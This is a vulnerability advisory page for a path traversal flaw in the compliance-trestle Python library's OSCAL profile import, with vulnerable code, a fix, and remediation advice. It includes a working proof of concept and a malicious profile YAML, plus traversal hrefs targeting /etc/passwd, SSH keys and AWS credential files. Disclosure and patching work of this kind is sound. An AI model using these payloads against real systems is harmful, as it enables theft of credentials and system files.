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Open-source package vulnerability · PyPI

CVE-2026-45774: compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal

mediumCVSS 4.0 5.5GHSA-mj4x-vf5c-5xg8

Summary The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestleroot and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace.

Published May 28, 2026

Affected packages

compliance-trestle

Ecosystem
PyPI
Affected
>= 4.0.0, <= 4.0.2
Fixed in
4.0.3
Check
pip show compliance-trestle

compliance-trestle

Ecosystem
PyPI
Affected
< 3.12.2
Fixed in
3.12.2
Check
pip show compliance-trestle

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed:

  1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme
  2. PT-002: ../../etc/passwd — via relative path in href
  3. PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 — LocalFetcher (relative path handling)

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

        # Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause:

  1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd
  2. No is_relative_to(trestle_root) check after resolve
  3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)
  4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")  # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")    # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

            # ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
  • compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

  1. Credential Theft via OSCAL Import: ```yaml imports:
  2. href: "trestle://../../root/.aws/credentials"
  3. href: "trestle://../../root/.ssh/id_rsa" ```
  1. System Reconnaissance: ```yaml imports:
  2. href: "trestle://../../etc/passwd"
  3. href: "trestle://../../proc/self/environ" ```
  1. Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
  1. Dead Code Evidence: TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

Credited to AnistoMejin, yantongggg.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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